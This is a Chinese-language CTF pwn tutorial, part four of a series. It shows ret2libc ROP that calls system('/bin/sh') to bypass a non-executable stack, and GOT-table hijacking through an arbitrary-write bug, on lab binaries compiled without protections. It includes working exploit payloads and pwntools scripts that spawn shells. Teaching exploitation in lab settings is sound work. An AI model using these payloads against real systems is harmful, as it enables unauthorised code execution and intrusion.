从0开始CTF-PWN（四）ROP绕过栈可执行保护与GOT表劫持

roger

从0开始CTF-PWN（四）ROP绕过栈可执行保护与GOT表劫持

一、教程说明

　　
1.1 历史回顾　　
第一节我们介绍了基础环境准备：从0开始CTF-PWN（一）——基础环境准备
　　第二节我们介绍了栈溢出的入门：从0开始CTF-PWN（二）从PWN的HelloWorld-栈溢出开始
　　第三节我们介绍了自行构造shellcode：从0开始CTF-PWN（三）没有system怎么办？构造你的shellcode

1.2 本节说明　　
之前我们是利用自己构造的shellcode返回shell，但这依赖于栈上可执行代码，本篇会介绍当关闭栈上代码可执行时，如何通过ROP跳转到libc获得Shell。
　　
　　说明什么是GOT，如何劫持。
　　同样，教程需要对c语言和汇编有一些基本理解，分析过程中遇到问题会穿插对应知识点的方式进行说明。
　　
　　

二、环境说明

　　
2.1 环境设置
　　为了降低入门难度，会关闭操作系统的地址空间随机化（ASLR），这是针对栈溢出漏洞被操作系统广泛采用的防御措施。

2.2 编译源文件
　　在实验环境创建.c源代码文件，使用如下命令进行编译，注意相比之前编译时去掉了-z execstack。
　　知识点-编译参数说明

• -m32：使用32位编译
• -O0：关闭所有优化
• -g：在可执行文件中加入源码信息
• -fno-stack-protector：关闭栈保护
• -z execstack：启用栈上代码可执行
• 　　-z norelro / -z relro -z lazy / -z relro -z now (关闭disabled / 部分开启Partial / 完全开启Full)
  　　
  　　
  
  

　　
　　

三、ROP绕过栈可执行保护

3.1 pwn_test_bof2.c程序
　　对，还是上一篇中的代码。

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char buf[128];
    if (argc < 2) return 1;
    strcpy(buf, argv[1]);
    printf("Input:%s\n", buf);
    return 0;
}

　　使用如下命令进行编译：

gcc-4.8 -g -m32 -O0 -fno-stack-protector -o pwn_test_bof3_32-gcc4.8 pwn_test_bof2.c

3.2 什么是ROP
　　回想一下上一节，我们是通过利用栈溢出漏洞，将一段自行构造的shellcode放置在栈上特定位置，并使得函数的返回值跳转到该段代码的地址执行，从而获得shell。但是这要求可以在栈上执行代码，现在栈上可执行代码被关闭了，这就要求我们要想办法跳转到可以执行代码的地方。
　　
　　我们看到程序引用了libc库的函数（两句include语句），libc库中显然包含有system函数，那么我们将可以把函数返回的地址指向libc中的system地址，从而跳转到库函数去执行。这种使用函数返回地址(ret指令)连接代码的技术，就叫做ROP(Return-Oriented Programming，返回导向编程)。
　　ROP 特性
　　
　　甚至可以通过在栈上布置一系列内存地址，每个内存地址布置一个gadget(以ret/jmp/call等指令结尾的一段汇编指令)，从而实现程序的依次执行。另外很重要的一点是，我们在栈上写入的都是内存地址，并非需要执行的代码，使得这种方式可以有效的绕过NX保护。

3.3 开始构造特殊的栈结构
　　根据第二节中介绍的函数调用栈知识，我们构造如下的栈结构：

从0开始CTF-PWN（四）ROP绕过栈可执行保护与GOT表劫持

　　
　　注意ROP部分的三句话，从而实现在main函数返回时执行：

system("/bin/sh");
return xxx;

因为我们的目的是getshell，所以执行system即可，返回地址可以随意填写。

3.4 攻击思路
　　根据上面的分析，我们需要如下计算步骤：

• 找出buf变量地址。
• 找出main函数返回地址。
• 计算面函数返回地址与buf变量地址2者的偏移量，用于填充padding。上述三步与前一节一致
• 找出libc中system函数、"/bin/sh"地址。
• 　　padding后填充addr(system) + 4位任意地址 + addr(/bin/sh)
  
  

　　思路明确，我们现在开始来逐步调试。前面3步的过程与第三节相同，这里就不再重复，现在我们来调试libc中地址获取。
　　
　　获取system、/bin/sh地址

# 开始调试
gdb -q -args ./pwn_test_bof3_32-gcc4.8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb-peda$ starti
# 运行
gdb-peda$ r
# 查询关键system
gdb-peda$ print system
# 查询/bin/sh
gdb-peda$ find "/bin/sh"

从0开始CTF-PWN（四）ROP绕过栈可执行保护与GOT表劫持

　　得到system的地址为：0xf7e145f0，"/bin/sh"字符的地址为：0xf7f58406。于是我们构造payload为：
　　"a" * 140 + "0xf7e145f0" + "\1\1\1\1" + "0xf7f58406"

# 执行
./pwn_test_bof3_32-gcc4.8 $(python -c 'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"')

　　得到shell：

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3.5 pwntools实现

# coding:utf-8
from pwn import *
 
context(arch='amd64', os='linux')
 
# 注意系统重启后地址可能会发生变化，需要重新获取
system_addr = 0xf7e145f0
binsh_addr = 0xf7f58406
 
payload = "A" * 140 + p32(system_addr) + "\1\1\1\1" + p32(binsh_addr)
p = process(argv=["/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8", payload])
 
p.interactive()

四、GOT劫持

4.1 GOT表介绍知识点1：
　　
　　.got中存放的是外部全局变量的GOT表，例如stdin/stdout/stderr，非延时绑定。
　　.got.plt中存放的是外部函数的GOT表，例如printf函数，延时绑定。

知识点2：

GOT劫持2大要素：GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。

4.2 GOT表劫持核心思想　　
GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址，从而达到执行该函数时，通过跳转到GOT表，从而跳转到我们修改过的地址去执行指令。
　　

4.3 GOT表查看方法
　　查看got表是否可写

readelf -S [program]

　　通过命令查看GOT表中函数地址：

objdump -R got_hacking_32-gcc4.8

　　pwntools中查看：

hex(elf.got["printf"])获取printf在GOT表的地址

4.4 got_hacking.c程序
　　选自长亭科技相关分享，因为是一个特别典型和简单的got_hacking，非常适合入门，所以这里用它来做说明：

#include <stdio.h>
#include <stdlib.h>
void win() {
    puts("You Win!");
}
void main() {
    unsigned int addr, value;
    scanf("%x=%x", &addr, &value);
    *(unsigned int *)addr = value;
    printf("set %x=%x\n", addr, value);
}

　　使用如下命令进行编译：

gcc-4.8 -m32 -o got_hacking_32-gcc4.8 got_hacking.c

　　可以看到并未添加-z relro -z now(完全关闭)编译参数，这就为GOT表劫持提供了可能。

4.5 程序分析（1）程序的目的是为了执行win函数，但是从main函数中并无入口调用win函数，所以我们需要想办法控制指令跳转到win函数的地址执行。
　　（2）scanf("%x=%x", &addr, &value); — 以16进制按{}={}的格式读入2个数，分别写入addr和value。
　　（3）(unsigned int )addr = value; — 关键语句：(unsigned int )addr — 将addr强制转化为指针类型，此时(unsigned int )addr表示的是内存地址addr(unsigned int )addr = value; — 将内存地址addr处的内容改写为value所以这里存在4字节=32bit的任意内存写入漏洞。

4.6 攻击思路
　　（1）读取win函数的地址。

# 读取办法1：gdb中打印
gdb-peda$ p win
# 外部读取
objdump -d got_hacking_32-gcc4.8|grep win

　　（2）从got表中读取printf函数的地址。

objdump -R got_hacking_32-gcc4.8

　　知识点-objdump工具

objdump是linux反汇编指令。
-d(disassemble): 可以显示反汇编后的汇编代码。
-R(dynamic-reloc): 显示文件的动态重定位入口，可以用于查找libc等共享库。

　　输入时利用内存泄露漏洞将printf函数的地址指向win函数。

# 输入addr(printf)=addr(win)，注意这里的地址不同环境不同
0804c00c=0x804918d

　　显示win。

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4.7 pwntools实现

# coding:utf-8
from pwn import *
 
context(arch='amd64', os='linux')
s = ssh(host="10.211.55.6", port=22, user="root", password="")
 
p = s.process(argv=["/home/pwn/test/got_hacking/got_hacking_32-gcc4.8"])
elf = p.elf
# 获取win函数地址
win_addr = hex(elf.sym['win'])
# 从got表中获取printf函数地址
printf_addr = hex(elf.got['printf'])
print ("win_addr: {}".format(win_addr))
print ("printf_addr: {}".format(printf_addr))
 
payload = printf_addr + "=" + win_addr
print ("payload: {}".format(payload))
 
p.sendline(payload)
# 打印输出win
print (p.recvall())

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- End -